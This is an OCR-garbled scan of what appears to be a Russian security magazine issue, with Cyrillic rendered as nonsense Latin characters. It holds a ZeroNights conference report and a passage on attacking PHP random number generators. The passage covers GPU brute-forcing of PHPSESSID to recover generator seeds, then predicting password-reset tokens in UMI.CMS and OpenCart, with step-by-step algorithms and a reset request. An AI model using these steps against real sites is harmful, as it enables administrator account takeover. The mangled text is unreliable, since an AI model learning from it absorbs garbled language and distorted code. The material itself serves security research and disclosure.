[OKMaf NpoynTana eAMHCTBEHHas AOKaf4MLa KOH-
depeHumnmn. Anuca LLleB4yeHko nokasana, YTo gaxe
13 «basHOB» MOXHO 13BJeYb HeMano npopuTa,
pacckasas, B YaCTHOCTW, O HeCTaHAaPTHOM MoAxofe
K akcnayaTtauum TexHukn DLL Hijacking.
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«OBPATHbIA AHANIU3 U PEKOHCTPYKLUSA
OBbEKTHO-OPUEHTUPOBAHHOWM APXUTEKTY-
Pbl WIN32/FLAMER» Ye pofiHble AOKIaf4MKN
KoHdpepeHuwuin Cawa MaTpocos v XKeHsi PognoHos
pacckasanu 0 TpyAHOCTSX BO BpeMs peBepCuHra
Flamer'a n kak yganocb ynpoctutb cebe Xu3Hb

¢ nomouybto Hex-Rays.

«MPUKNALHAA AHTU®OPEH3UKA: PYTKUTDI,
YA3BUMOCTU AAPA U BCE-BCE-BCE» [ImMnTpuii
Onekclok nosefan 0b MHTepecHoOM BekTOpe
COKpbITUS BpefoHocHOro koga. CokpbiTe peanu-
30BaHo yepe3 Differentiated System Description
Table (DSDT) — ogHy 13 Kiito4eBbIx TabanL, KoTo-
pas xpaHuTcs B peecTpe v ncnosbayetcs ACPI.

ZERONIGHTS b
B LIUDPAX 1

Y4aCTHUKOB

naokKnapa

BbICTYNJIEHUN
Ha Fast Track

MacTep-KjiaccoB
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«MITM-HANALEHME HA 10S. TEXHUKA U NO-
CNEACTBUA» Anekcein Tpolnyes pa3sun ceoe
nccnefoBaHme, Kotopoe Mol nybivkosanu 8 #07/12
HoMepe, «iZombie, nnu BKyc Yyxux 5610k» 1 pac-
CcKasan o MoAndULIMPOBaHHOM BapuUaHTe npu-
HY)XX[,eHWs NoNb30BaTeNs K yCTaHOBKE KOPHEBOT0
cepTudukarta, packpbitn SSL-Tpaduka v yaaneH-
HoM ynpaeneHun i0S-paeBaiica.

«TEMHAS U CBET/IAl CTOPOHA (HE)BE30MAC-
HOCTU ICLOUD» [Inma Cknsipos 1 AHgpeit BeneHko
peLnnu pazobpatbcs, kak iCloud, KoTopbii ncnonb-
3y10T MHOrVie 56104Hble AeBalichl, WndpyeT Hkansl,

W y6enmauce, 4to ux Wiudposatue (B oTnYme

oT WdpoBaHus odnaiiHoBbIx 63kanos) npakTu-
Yecku He sBnsieTcs npenstcTaueM. [pu aToM camu
6akanbl xpaHsTcs B obnake He Apple, a Ha cepBepax
Azure n Amazon.

«3A KYJIUCAMU ANDROID: BAPUAHTbI ATAKU

U PAODUKANIbHBIE MEPbI 3ALLUTbI» XopoLuwii,
MHOFOCTOPOHHUI JoKNaA npo 3awuTy Android, roe
aBTOp NMOKa3an Kak pasnuyHble Geinbl 6e3onacHo-
CTW, Tak U MHTEPECHbIE LUTYKM 0 TOM, KaK MOXHO 3Ty
6e30nacHoCTb yKpenuTb (Hanpumep, NPUMOHTUPO-
BaB KpunTokoHTelHep BHYTpM OC Ha cnyyaii notepu
TenedoHal.

«0COBEHHOCTU BE3OMACHOCTHU ADS-B

1 OPYTUX BO3AYLUHbIX TEXHONOTUW» Opu

13 Hanbonee 3aNOMHUBLLUXCS [OKNAL0B, KOTOPbI
TaK BMeyatau, 4to yxe yepes 15 MuHyT nocsie Bbl-
CTYNJeHns Mbl A0roBopunmnck ¢ AHapeeM KocTuHbiM,
4TO HaMWLLEM MO MOTVBAM [0K1aja TeMy HOMepa.
Hapetocs, Tbl ee yxe npoyutan.
«COMNPOTUBNEHUE BECMOJIE3HO: B3J10M BEC-
NMPOBOAHbBIX CUTHAJIU3ALIMOHHBIX CUCTEM>»
[puBbIYHas KapTUHa: MHOrve pa3paboTynkm
0bopyf0BaHMs, B TOM Yncne Ans security, He co-
bntopatoT aneMeHTapHble NpaBuaa besonacHoro
kopa. Babak Javadi nokasan 3To Ha npumepe
CUTHaNu3auun.

«HW 3AMKOB, H/ 3ACOBOB: B3J10M UHOPA-
CTPYKTYPbl OPENAM» UHTepecHbiit foknag,

ot AHppest MeTtyxoBa u eoprus Hoceesunuya,

B KOTOPOM paccMaTpyBaeTCs pacnpocTpaHeHHas
cucTeMa ynpasneHus goctynom ForgeRock OpenAM
C TOYKM 3PeHMS 3aLLMLLEHHOCT OT aTak CO CTOPOHbI
BHELLHEro 3/10yMblLUIEHHWKA.

«BE30MACHOCTb COBPEMEHHbIX MJIATEXXHbIX
TEXHOJIOTUIA: EMV, NFC, ETC.?» HacToswwas
nekums oT Hnkntol AbaynnunHa o ToM, Kak npoxo-
AT NPOLLECCUHT KPeAUTHBIX KapT, KaknM obpazom
OH 3aLLWLLEH M Kakue NpobneMbl co3faeT nepexos
Ha beckoHTakTHble KapTbl ¢ NFC-yunom.

«KAK Bbl 1 ATAKOBAJ1 KOPMOPATUBHYIO

CETb KPYMHOW KOPMOPALUWU» Calwa Mongakos,

y KoToporo yxe 99 level B BbiCTynneHusx, pacckasan
06 MHTEpecHOM BEKTOPe aTaki KpynHO KOMMNaHuu.
KaxeTcsi, 0cCHoBaHHOro Ha cobCcTBEHHOM onbiTe. 3C

069



1
ApceHwuii PeyTos (http:

Tumyp l0Hycoe [tyunusoviptsecurity.rul, AMuTpuii Harn6uH (dnagibinfptsecus

NPEACKASAHUR -

CbbIBAIOT

Ecnun roBopmTb 0 A3bIKax ¢ Hebe3onacHbIM
MOAXOLOM K reHepaLuuv nceBAoCyYanHbIX
3HaAYeHWUN, TO B MepBYI0 04epeab Ha YM MPUXOLUT
PHP. MNepBbivt oybnb snonen PHP ¢ paHfoMHbIMK
ynucnamu umen mecTo bosnee NATK NeT Hasag,
0[HaKO C Tex NOp Masno YT0 M3MEHWIOCh.

A cBexue nccnefoBaHus, BMeCTe C HeXeNaHUeM
pa3paboTyMKOB YTO-MDOO MeHATb, CTaBAT MOL,
yrpo3y NpakTUYeckn Kaxgoe Beb-npunoxeHue,
ncnonb3aylollee cTaHLapTHbIe CPeacTBa
WHTepnpeTaTopa. B 3Tol cTaTbe Thbl y3Haelb

0 HOBbIX criocobax aTak Ha reHepaTopbl
ncespocnyyanHoix yncen B PHP Ha npumepe
NonynsipHbIX BEO-NPUIOKEHUN.

BBELEHUE

Mpobnembl Be6-npunoxeruit Ha PHP, cBsaizaHHble ¢ reHepaumeit
nceBAOCHYyYaliHbIX Yucen, bbinn n3BeCcTHbI OCTaTOYHO AaBHo. Ewe

B 2008 rogy Credan Iccep (Stefan Esser) ykazan Ha HegocTaTKu pyy-
HOM MHWULMaNM3aLnmu reHepatopa Cay4yanHblx Yucen v onncan obuni
anroputm atak yepes keep-alive HTTP-3anpochkl. Eciiv Ha TOT MOMeHT
BCE YI3BMMOCTH, CBA3aHHble C NpefyrafblBaHneM pasfiuyHoro poaa
TOKEHOB, B TOM YUC/e A/15 BOCCTAHOBJIEHWS Naposs, MOXHO bbifo cnu-
caTb Ha camu Beb-npunoxenns (M3-3a HEMPaBMIBHOTO UCMOJb30BaHNS
Bo3MoxHocTelt PHP v yTeuek cocTostiusa MMCY), To co BpeMeHeM cTanu
BbISIBAIATLCSA HEJOCTATKW CaMOro MHTepnpeTaTopa.
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HOBDIE CIMOCOBE
ATAK HA TEHEPATOPbI
NCEBAOCJ/TYHAUHDBIX
YUCEJ B PHP

WARNING

Bcs uHGpopMauus
npepocTaBneHa
UCKAKOYNTENBHO

B 03HaKOMUTENbHbIX

Hu pepakuums, H1 aB-
TOP He HecyT OTBeT-
CTBEHHOCTH 3a Nto6oi
BO3MOXHbIii Bpeg,
NPUYNHEHHbIA Ma-
TepuanaMu AaHHoI
cTaTbu.

B 2010 roay Munen Panrenos (Milen Rangelov) npegctasun PoC
ANs co3fanus rainbow-tabaunu, No3BoNSIOWMX NPOBOAUTE NOUCK
cvaa no nosIHOMY iManasoHy n3 Bcex (2°32) BO3MOXHbIX 3HAYEHUN.
VHaye roBops, UMes Ko, KOTOPbIA, HanpuMep, reHepupyeT cayyan-
HbIM 06pa30M NapoJib, CTaso BO3MOXKHbLIM 3apaHee CreHepupoBaTb
TabaWLLbI M MO HUM JOCTaTOYHO BbICTPO MCKaTb CUJ NOS KOHKPETHOe
Beb-npunoxeHue Ha PHP. CnycTs nonrofa Ha koHdeperLnn Black
Hat Camu Kamkap (Samy Kamkar] Bnepsbie ykaszan Ha npo6nemsi PHP
C reHepaumen aeHTNONKaTopoB ceccuir. JIeToM 3TOro rofa Ha Toit xe
KoHepeHL N rpeyeckne akcnepTsl B obnacTv kpuntorpadum [xopnx
Aprupoc (George Argyros) n Arenoc Kusunac (Aggelos Kiayias) BbicTy-
nunu c paboToit, B KoTopoi bbina ele rnybxe npoaHannanposaHa BCs
MOAHOrOTHasA reHepauuy nceBaocayyanHblx Yyucen 8B PHP v npepcTas-
neHbl abCoONMIOTHO HOBbIE METOAbI M TEXHUKM aTak Ha Beb-NpunoxeHns.
B yacTHocTw, wna peyb o bpyTdopce PHPSESSID c uenbto nonyye-
HUS MHOPMALMM 0 COCTOSHUAX UCTOYHMKOB 3HTponum [TICY B PHP,
0/HaKO NpakTUYyeckas peann3alns oTcyTcTBoBana. Mbl xe pelnnm
MPOBEPUTH BCKO TEOPUIO, MPOBECTU COBCTBEHHbIE NCCNIEA0BAHUS 1 CO3-
L,aTb He0bX0MMble MHCTPYMeHTbl. HOBbI B3rNsif Ha cTapble Bely
Mo3BOJINA BbIABNTL YA3BMMOCTYH B Takux npoaykTax, kak OpenCart,
DatalLife Engine, UMI.CMS nocnefHux Bepcuit.

CO3AHME HOBbIX MPOLLECCOB

OAHa 13 HOBbIX TEXHWK TaKoBa: aTakyloLLWi CO3AaeT CBeXMe npoLecchl
C BHOBb MHULMANM3nNpoBaHHbIM cocTosiHueM [TICY, yTo no3sonser

3G HeKTUBHO NcKaTb cupbl. Mpexae YeM nepenTn K pas3bopy HoBOro
crnocoba, Heobxoanmo pa3obpaTtbea c ocobeHHoCTAMM B3anMoaei-
cteua PHP n Apache.

Beb-cepBep MoXeT MCMoNb30BaTh OAUH U3 MOAYNEN NapaienbHon
o6paboTku (multi-processing module, MPM): 06bi4H0 3T0 1160 mpm-
prefork, nnbo mpm-worker. Yto kacaetcs prefork-mogyns, cMbicn
ero paboTbl B TOM, 4TO 3apaHee CO3[4aeTCs HEKOTOPOE KOJIMYECTBO
npoueccoB Beb-cepBepa v kaxjoe coeHeHme c Beb-cepeepoM
obpabatbiBaeTcs 0gHWUM K3 3TUX NpolieccoB. B pexume mpm-worker
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MpepckasaHua cbbiBatoTCs

BpyTdopc PHPSESSID Ha GPU Amazon'a

Apache obpabatbiBaeT 3anpochkl He B 0TAENbHBIX MpoL,eccax, a B NoTo-
Kax (threads) BHyTpu ofHoro npouecca. 3aberas snepes, HeobxoanMMo
cKasaTb: B *nix-cucTeMax aeHTUdUKaTOp NOTOKA MOXKET UMETb 2”32
3HavyeHuit, yto genaet nepebop PHPSESSID HeBo3MoXHbIM. OfHako
B 00JIbLWIMHCTBE C/lyYaeB aTaKywL M UMeeT Aes0 C KNacCUYecKow
cBs3koit Apache mpm-prefork + mod_php. lMpn Takon koH$urypayun
keep-alive 3anpocbl byayT 0bpabaTbiBaTbCH OLHMM U TEM XKe MpoLiec-
COM, TO eCTb ¢ 06wmm cocTosiHneM [TICY. B pexnme PHP-CGI gns kax-
[0ro 3anpoca co3/aeTcs HOBbI NPOLEeCcC MHTeprpeTaTopa C BHOBb
MHWULMANN3MPOBaHHBIMW COCTOSHUSIMU TeHepaTopoB.

B ynomsHyToit pabote CtedaHa Iccepa Ass NONYYEHNS HOBbIX
MpOLECCOB CO CBEXMMU CUAAMU NPeAarancs pagnkanbHblii MeTOA,
a UMEHHO Kp3LWNTb Beb-cepBep C MOMOLLbK0 MHOTOYUCIEHHbIX BIOXEH-
Hbix GET, POST, Cookie-napametpoB. [xxopax Aprupoc n Arenoc Knsi-
nac npefnoxunu bonee ryMaHHblii cnocob. CyTb ero B TOM, 4TO aTaky-
ol it co3paeT bonblioe KonuyecTBo keep-alive coefMHEHWN, NbITasCh
3arpy3nTb paboToii Bce 3anyLyeHHble npouecckl Beb-cepsepa. 3agava
aTaKyloLiero — oTnpaBuTb LieN1eBoil 3anpoc, noce Toro kak y Apache
3aKoHy4aTcsa cBo60AHbIE MPOLIECChI M OH HAYHeT co3AaBaTb HOBbIE.

CMHXPOHW3ALMA BPEMEHW
OAHUM M3 UCTOYHMKOB 3HTpONUM Ans reHepauun PHPSESSID siBnsetcs
3HauyeHMe MUKPOCEeKYH. Kak n3BecTHO, Beb-cepBep nepes oTnpaBKoii
oTBeTa fobasnseT 3aronosok Date, Yepes KOTOPbLIN MOXHO y3HaTb
BPEMS 3aBepLUEHNS BbIMOJIHEHWS 3anpoca BMNoTb 0 CeKyHA. HecMo-
TPS Ha TO YTO MUKPOCEKYHAbl HEM3BECTHbI aTaKyloLeMy, cnefyioLas
TeXHUKa MOXET MOMOYb CHU3WNTb MANA30H NX BO3MOXHbIX 3HAYEHWNIA:
1. XneM obHyneHus MuKpoceKyH Ha kneHTe (msec=0), nocne yero
nenaem3anepxky delta (sHayane delta=0).
2. OTnpaBnsieMnepBbIii3aNpoc ¥ xA4eM 0TBeTa, GUKCUpyeM Bpems
Ha cepBepe c noMouybio 3arosioska Date (T1) v MUKpoceKyHAbI Ha Ku-
eHTe (msec=m1).
3. Cpas3syxeoTnpaBaseM BTOPOI 3anpoc 1 KAeM 0TBETa, PUKCUpYyeEM
BpeMs Ha cepeepe (T2) M MUKpoCeKyH/bI Ha KnneHTe (msec=m2).

8@ proub-uitu, - e kilop

YpnayHas aTaka Ha DatalLife
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BpyTdopc cnpos LCG no cugy Mersenne Twister

4. Ecnvcekynpbl He cMennnuce (T2-T1=0), Togobasnaemk delta 3Ha-
yeHne<(m2-m1)/2 (yem MeHbwe war delta, Tem nyywe) v Bo3spauwa-
emcakwary 1.

5. EcimcekyHpbl npuoamnHakosbix delta ctabunbHo Menatotea (T2-T1=
1), 70 Mbl L0BUAMCH CUTYaL MM, KOTAA MEX Y 3aMPOCaMN MUKPOCEKYH-
Abl 06Hyns0TCA.

Mo onMcaHHoOMY BbiLLe anropuTMy MUKPOCEKYHZbI BTOPOro 3anpoca
HaxogaTcs B uHTepsane [0; (m2 - m1)/2].

Tak kak Beb-cepBep fobasnset 3aronosok Date HenocpeCTBEH-
Ho nocsie 06paboTky 3anpoca, 3aaya aTakyLLero — MakCMManbHo
CHU3UTb BpeMs 0bpaboTku nepBoro 3anpoca. [1ns 3Toro 3anpatmsa-
eTcs HecyllecTBylollas CTPaHMLLa, B pe3ybTaTe Yero BpeMs Hayana
06paboTKM 3anpoca NpakTUYECKW COBMNAJALT CO BPEMEHEM B 3aro-
noske Date. BTopoit e 3anpoc siBnsieTcs LeneBbIM — B HEM W JOJIXKHA
C03/1aBaTbCs CECCUS B CBEXEM NpoLecce.

O4eBMAHO, 4TO YeM DoJble BPEMeHW NPOXOAUT C MOMEHTA 0TNpPaB-
K1 3anpoca [0 MOMEHTa MoJlyYeHns 3arofloBKoB 0TBeTa, TeM bonblue
VHTEepBaN MUKPOCEKYHA.

[TAPHbIE 3ATIPOChI
CyTb TEXHWUKM 3aKJl04aeTCs B N0OCNe0BaTeIbHOM 0TNpaBKe fBYX
3anpocoB C MaKCUManbHO HU3KOW 3afepXKoii Mexay Humu. Mpegno-
naraeTcs, YTO y aTakKyioLero ecTb BO3SMOXHOCTb Y3HATb MUKPOCEKYHAbI
W3 nepBsoro 3anpoca (Hanpumep, ¢ MOMOLLbI0 BOCCTAHOBIIEHUS Naposis
aKKayHTa aTakylowero B Lenesoii cucteme). [lenast nepsebiid 3anpoc
¥ onpeaensis 3HaYeHne MUKPOCEKYH[ B MOMEHT ero 06paboTku, Mbl Mo-
XXEM YMEHbLUWNTb MHTEPBAN 3HAYEHNT MUKPOCEKYHA BTOPOro 3amnpoca.
Bnagumnp BopoHuos (@d0znppl npesnoxun oTnpaBnsaTs Tpy 3a-
npoca, rAe MUKPOCEKYHAbI MePBOro W MOC/IEAHEro U3BECTHbI aTakylo-
wemy. B 3ToM cnyyae gnanasoH MUKpocekyHp BTOpOro 3anpoca byaet
OrpaHuyeH N3BeCTHbIMU 3HAYEHUAMN.

BPYTOOPC PHPSESSID
B cBoeli pabote Camu Kamkap paccMaTpvBan caMy BO3MOXHOCTb
6pytdopca PHPSESSID. MiccnepoBaHue rpekoB nokasano, 4To npo-
Lecc bpyTpopca MOXHO ONTUMU3NPOBATb, @ NOJTYYEHHYO MHPOPMaL IO
ncnonb3oBaTh AN5 npepyragbiBanunsg cugos [MCY B PHP.

O6paTumcs k koay reHepauuv PHPSESSID:

spprintf(&uf, 0, "%.15s%1d%1d%0.8F", remote_addr ? «
remote_addr : "", tv.tv_sec, (long int)tv.tv_usec, <
php_combined_lcg(TSRMLS_C) * 10);

Mpumep nexopHon cTpokm: 127.0.0.11351346648192088.00206033.
Ecnu pazobpath ee Ha cocTaBHble YacTH, MOXKHO BbIAENUTL Cleayto-
wme:

o 127.0.0.1 —IPKknueHTa;

e 135134664—timestamp;

¢ 819208 —mMukpocekyHabl (0603Haunm kak m1);

e 8.00206033—sbiBog reHepatopa LCG (Linear Congruential

Generator, IMHEHbIA KOHTPY3HTHBbI reHepaTop).
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B3JIOM

Mpw BbI30Be php_combined_lcg B cBexem npouecce PHP npousso-
VT MHWUMann3aumio reHepatopa LCG:

LCG(s1) = tv.tv_sec ™ (tv.tv_usec<<l1l);
LCG(s2) = (long) getpid();

/* Add entropy to s2 by calling gettimeofday() again */
LCG(s2) "= (tv.tv_usec<<1l);

Mpw reHepaunm cupos s1 v s2 yyacTsyeT TOT xe timestamp, uneH-
TuduKaTop Tekyllero npotecca (2*15 BO3MOXHbIX 3Ha4eHNiA), a Takxe
[Ba HOBbIX 3aMepa MUKpoCceKyHA (0603Haunm kak m2 n m3).

IP v timestamp n3BecTHbI aTakylolleMy, Takum 0bpasom, ocTatoTcs
cnepyolne 3HaYeHUs:

o MuKpocekyHabl m1 (1076 3HaueHnii);

*  pa3HMLaMeX/yBTOPbIM VM NepBbIM 3aMepamy Bpemern (m2 - mi),
npuyem Ha 6oNbLUIMHCTBE CUCTEM OHA He NPEeBbILLAET YeTbIpeX MUKPO-
CEKYHA;

*  pa3HMLaMeXAYTPETbUM W BTOPLIM 3aMepamu BpeMeHun (m3-m2),
00bI4YHO He NpeBbILLAeT TPeX MUKPOCEKYH,;

e uaeHTuduKaTop npouecca (32 768 sHayeHui).

PHPSESSID MoxeT npefctaBnaTh cobot MD5- nubo SHA-1-xeww,
HO B 6ONIbLUMHCTBE CNyYaeB 3To NepBbli BapuaHT. Takxke npefcTasne-
HUe xellla MOXeT 3aBUCeTb 0T AMPeKTUBbI KoHGUrypauun PHP session.
hash_bits_per_character, kotopasi ocobbiM 06pa3om npeobpasyet
naeHTudukaTop. 04HaKO BOCCTAHOBUTL OPUTMHANBHDIN XeLl He co-
CTaBAseT TPYAa, Tak Kak BCe onepayun obpaTuMsl.

Heobxonmmo 3ameTnThb, 4To B PHP 5.4+ npu reHepaumu ceccuin
M0 YMONYAHWMIO UCMOMb3YIOTCS BHELWHUE NCTOYHMKM SHTPOMUK, B YacT-
HocTu /dev/urandom. Ho K cyacTblo, XuBble Beb-cepeepbl Ha faHHbIN
MOMEHT [,0BOJIbHO peAKO UCMONb3YioT HoByto BeTKy PHP.

CywecTBytoT cnocobbl, KOTOpbIe MOryT MOMOYbL Npy HpyTe
PHPSESSID. Hanpumep, ecnv Ha LeneBoM Beb-cepBepe ycTaHOBEH
mod_status, To npu obpalueHum no /server-status MoXHO NOAYYNTH
NOeHTMOMKATOpPLI 3anyLLeHHbIX npolieccos Apache. A ecnu aTakyio-
LeMy ynanocb obHapyxuTb phpinfo, To U3 nepeMeHHo 0KpyXeHuns
UNIQUE_ID, koTopyto ycTaHaBnmBaeT Mofynb Apache mod_unique_id
0I5 MAeHTUOUKALMM 3aNpoca, MOXHO 13BNeYb He Tonbko PID,

HO U 3HaYeHUe MUKpoCceKyHA. Bnagumnp BopoHuoBs co3nan oHnaiH-
aekogep UNIQUE_ID, gocTynHbiii no agpecy: https://dev.onsec.ru/
rands.

OyeBupgHo, yto nepebop PHPSESSID tpebyeT cneunansHoro
MHCTPYMEHTa, Tak KaK CTaHAapTHble CPecTBa B AaHHOM Cliyyae
He nomoryT. [ToaToMy Mbl pa3paboTany cobcTBEHHOE pelleHe Noj,
Ha3saHneM PHPSESSID Bruteforcer, koTopoe noka3sano Ha npakTuke
BreyaTnsiolme pesynbraTbl.

[naBHOE LOCTOMHCTBO MHCTPYMEHTA — BbICOKAs CKOPOCTb, KOTOpast
nocturaetcs bnarogaps nepeHocy pacyetos Ha GPU. Ha ogHom GPU-
nHctaHce ¢ CUDA cepsuca Amazon HaM y[anoch AoCTUYb CKOPOCTH
B 1,2 MMnnuappa xeleil B CEKYHAY, 4TO N03BONSET NepebpaTh BeCh
Aana3oH 3HayeHwnit 3a 7,5 MuHyThI. [ToMrMo 3TOrO, B NporpamMme
NpUCYTCTBYET NOAAEPXKKA pacnpefeNeHHbIX BbIYNCTEHUN C YMHBIM
banaHcmMpoBLUMKOM Harpy3ku. 06beJUHUB Heckonbko MaLwmnH ¢ GPU,
MOXHO J,0OUTbCS HEBEPOATHO BbICOKOW CkopocTu. Bonee nogpobHoe
onncaHue MHCTpyMeHTa UK B pybpuke X-Tools, a cam gncTpnbyTus —
Ha DVD.

B pe3ynbtaTte ycnewHoro bpytdopca PHPSESSID aTakytowwmin no-
NlyyaeT 3HaYeHNs, NO3BONSIOLLME BbISCHUTb cuibl ST 1 s2 reHepaTopa
LCG, Takum 06pa3oM y Hero nosiBAsieTCs BO3MOXHOCTb NpeAyrafbiBaTb
BCe nochiefytolne 3HaveHns. Ho camoe rnaBHoe — 370 To, YTO CTaHo-
BATCA M3BECTHLIMW BCE AaHHbIe AN BbIYNCIEHUS CUAA, NCMONb3YioLe-
rocs AN MHULManu3auum Mersenne Twister:

#ifdef PHP_WIN32
#define GENERATE_SEED() (((long) (time(@) * «
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GetCurrentProcessId())) ~ ((long) (1000000.0 *
php_combined_lcg(TSRMLS_C))))

#else
#define GENERATE_SEED() (((long) (time(@) * «
getpid())) ~ ((long) (1000000.0 *
php_combined_lcg(TSRMLS_C))))

#tendif

KpoMe Toro, CTaHOBATCA NpeACKa3yeMbiMU BbIBO/bI TaKUX GYHK-
unit, kak rand(), shuffle(), array_rand() n MmHorux apyrux.

JIOMAEM UMI.CMS

MpekpacHas nnowagka s nposeferns ataku Ha PHPSESSID — UMI.
CMS Bepcuu 2.8.5.3 (Ha AaHHbI MOMEHT yA3BUMOCTb yCTpaHeHa).

3a reHepaliuio ToKeHa s cbpoca napons oTBeyaeT cnefylollas
byHKUMS:

function getRandomPassword ($length = 12) {
$avietters = "$#@"&!1234567890qwertyuio”;
$size = strlen($avlLetters);
$npass = "";
for($i = @; $i < $length; $i++) {
$c = rand(0, $size - 1);
$npass .= $avietters[$c];
¥

return $npass;

C6poc napons MOXHO BbI3BaTb Cpasy Nocse reHepaLuu HoBo
ceccuu, oTnpaBuB 3anpoc:

POST http://host/umi/users/forget_do/
choose_forget=on&forget_login=admin

[lns aToro HEOBXOANMO 3HATH NNLLbL NOFUH aAMUHUCTPATOPA.
Monyuyns PHPSESSID B cBexeM npouecce, BbiicHsaeM cugbl LCG s1

W s2, a Takxe ngeHTudukaTop npouecca. B cnyyae ycnewsoro nepe-

Hopa BOCMPOM3BOAMM OMepaLuu, COBEPLIEHHbIE Ha CepBepe Npu rexe-

pauuu TokeHa cbpoca napons:

e yHuunanusnpyem LCGenpammsi ns?;

*  BLINONIHAEM HECKO/IbKO BbI30BOB LCG (KoNnMyecTo MoXeT 3aBUCETb
0TBEPCUM MHTEPNPETATOPa, HO Yallie BCEro 3T0 YNACTI0 paBHO TpeM);

¢ nponssoaumBbizoB GENERATE_SEED, yka3biBasi MU3BeCTHbIV aTaky-
fouieMy timestamp, ugeHTUGMKaTOp NpOLLeCcCa M YeTBEPTHIN BbI30B
LCG, nHuuyunanusnpyem Mersenne Twister nonyyeHHbsIM CULOM;

e Bbi3biBaeM GyHKLUM0 getRandomPassword(), KoTopas BepHeT HaMm
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MpepckasaHua cbbiBatoTCs

Boccranosnexune napons
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UMI.CMS cpancs 6e3 6os

TOKeH, u nepexofum no agpecy http://host/umi/users/restore/
md5(token).

Ecnv Bce aTanbl anroputma cpabotany npaBuiibHO, TO AN Y4eTHOW
3anucy agMuHUCTpaTopa byeT yCTaHOBNEH HOBbIA, M3BECTHbINA HaMm
napofib.

ATAKYEM OPENCART

MpuMeyaTenbHOM 0COBEHHOCTbLIO MEXaHW3Ma MHMULMANN3aLNN FeHe-
paTopoB Ncesaocayyantbix yncen ana dyHkumia rand() u mt_rand()

B PHP siBnsieTcs To, 4To 0TBeYatoLWMii 3a AaHHY0 OnepaLinio Makpoc
GENERATE_SEED ncnonb3yeT B Ka4eCTBE UCTOYHWKA IHTPOMMUY BbIBOJ,
3HayeHus reHepaTopa LCG.

MoxHo nu cuntaTh ncnonb3osaHve LCG B gaHHOM cyyae besonac-
HbIM? YT0ObI 0TBETUTB Ha 3TOT BONPOC, NpeAcTaBuM Beb-npunoxeHue,
ucnonb3ytowee cpasy gea [MCY: LCG n Mersenne Twister. Ecnu aTaky-
foLLleMy YAACTCS NONYYNUTb CUf, X0TS bl OLHOIO U3 reHepaTopoB, TO eMy
He cOCTaBWT TpyAa nogobpats cup Apyroro. [puMepom Takoro Beb-
NPUNOXEHNSA MOXET CNTYXXNTb ABUMXOK MHTepHeT-Mara3uHa OpenCart
Bepcum 1.5.4.1 (nocnenHas Ha MOMEHT HanucaHna ctatbu). B Hem
NpUCYTCTBYET Cefylolnii Ko, 3aa4ya KoTOporo — CreHepupoBaTh
besonacHblil TOKeH A1 BOCCTAHOBJEHWS Napons afMUHUCTpaTopa:

$code = shal(uniqid(mt_rand(), true));
A B npefbloyLLMX BEPCUAX UCMOIb30BANCA COBCEM CMELLHOM cnocob:
$code = md5(mt_rand());

MTak, B BaHHOM C/ly4ae Mbl UMEEM TPU UCTOYHMKA IHTPOMUN:

e mt_rand—uuncnoc2"32B03MOXKHLIMU3HAYEHNAMY;

® unigid—He 4yTOMHOE, KaK M3BECTHbI aTakyloLleMy timestamp yepes
3arosiosok Date umicrotime (10%6 BO3MOXHbIX 3Ha4YeHUi), npeacTas-
neHHble B hex-dopmare;

e |cg_value—BbiBog LCG npuBbI30BE UNiqid COBTOPLIM apryMeHTOM.

B utore nonyyaetcs cTpoka cnepytouiero suaa: 924968175087b4
€6968487.41222311. Kazanock 6bl, SHA-1-xelw 0T Takon CTPOKYM TOYHO
He cbpyTnTb, ofHako OpenCart genaeT HENO3BONUTENbHbBIN NOJAPOK —
B CSRF-TokeHe npoucxout yTeyka coctosiHus Mersenne Twister:

$this->session->data['token'] = md5(mt_rand());

OueBuAHO, 4T0 CHPYTUTE MD5 0T Yncna 2*32 MOXKHO A0BOJIbHO
bbicTpo. [Tony4YnB YMCNO, Mbl MOXEM BbIYUCANTL CUJ, BEPHEE CUJbI,
Tak Kak NpucyTCTBYOT KONIM3NUKU. [N NoNyyeHNs c1AoB Ha JaHHbIN
MOMEHT CYLLeCTBYIOT CieAyloLne yTUANTbI:

e php_mt_seedoTSolar Designer—wucnonb3yet CPU, Ho npu nomoLyu
SSE-MHCTPYKLUA NOKPbIBAeT BECh MANAa30H MeHee YeM 3a 0 HY
MuHyTy (900.91/PtkFG);

e pyphp_rand_ocloTGifts—nopnepxusaetkak CPU, Takn GPU,
cnpasnsetca3a~70m~20 cekyHz cooTBeTCTBEHHO (g00.9l/rfbMJ);

e mt_randbpyTtep oTont—ucnonb3yet CUDA, noMumo npoyero, nos-
BO/ISI€THAX0AUTb CUA NPU HEMOTHOM BbIBOJE C/Iy4aliHbIX 3HAYEHWI
(goo.gl/UETmS6);

e Snowflake ot [I)oppxa Aprupoca—npefcTaBnseT coboit uenbii
dpeiiMBOPK AN CO3[,aHNSA 3KCMI0NTOB, peann3ytoLnx aTaku Ha ciy-

YaiHble yncna(goo.gl/XuVB2).
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WTak, anroput™ aTaku BKJIKOYaET CieAyloLLmue warn:

1. Atakywowuin, oTnpaBnss bonblioe konnyecTso keep-alive 3anpo-
coB, 3acTaBnfeT Beb-cepBep co3aTb HOBbIE MPOLLECCHI CO CBEXMMM
cupamu.

2. OtnpaBnsitoTca Tpu keep-alive 3anpoca B 0lHOM COeJMHEHNM: Nep-
Bbl— N5 nonyyeHns MD5-TokeHa, BTopol— ans cbpocanapons
aTaKyHLLeron, HakoHell, TpeTUit— ANs cbpoca napons agMUHNUCTpa-
Topa.

3. PaclndpoBbiBaeTca TOKeH, MO YXACY NPON3BOAUTCA MOMCK CUAa.

4. WmescupMersenne Twister n HeKOTOpoe KOIMYECTBO KONNU3UIA,
aTakylowwmit bpyTnT ABa cuna LCG—pnsatorotpebyetcsaocyue-
cTBUTL Nepebop AnanasoHa uaeHTduKaTopos npouecca (1024
32768), microtime (1076 3HayeHni), a Takxe LeNbTbl MEX Y MePBbIM
¥ BTOPbIM 3aMepoM BpeMeHu. Kak yxe Oblio cka3zaHo paHee, B 6osib-
LWMHCTBE CTy4aeB pa3HuL,a MeX/ly 3aMepaMy He MpeBbIlaeTTpex
MUKPOCEKYH/, MO3TOMY CMbICJ1a 0T N0A006HOr0 LecTBMA NpakTuyec-
KU HeT.

5. Tlosy4ns HEKOTOPOE KOMYECTBO BO3MOXHbIX c1a08 LCG (0bbluHo
He bonbwe 100), aTakywLWwmid npoBoANT ewie ognH 6pyTdopc—Ha 3ToT
pa3SHA-1-TokeHa ANt BoccTaHoBNEHWs cobcTBEHHOro napons. Mpo-
6neMcbpyToM3aech HeT, faXke HECMOTPS Ha TO, YTO U3BECTHbI INLLb
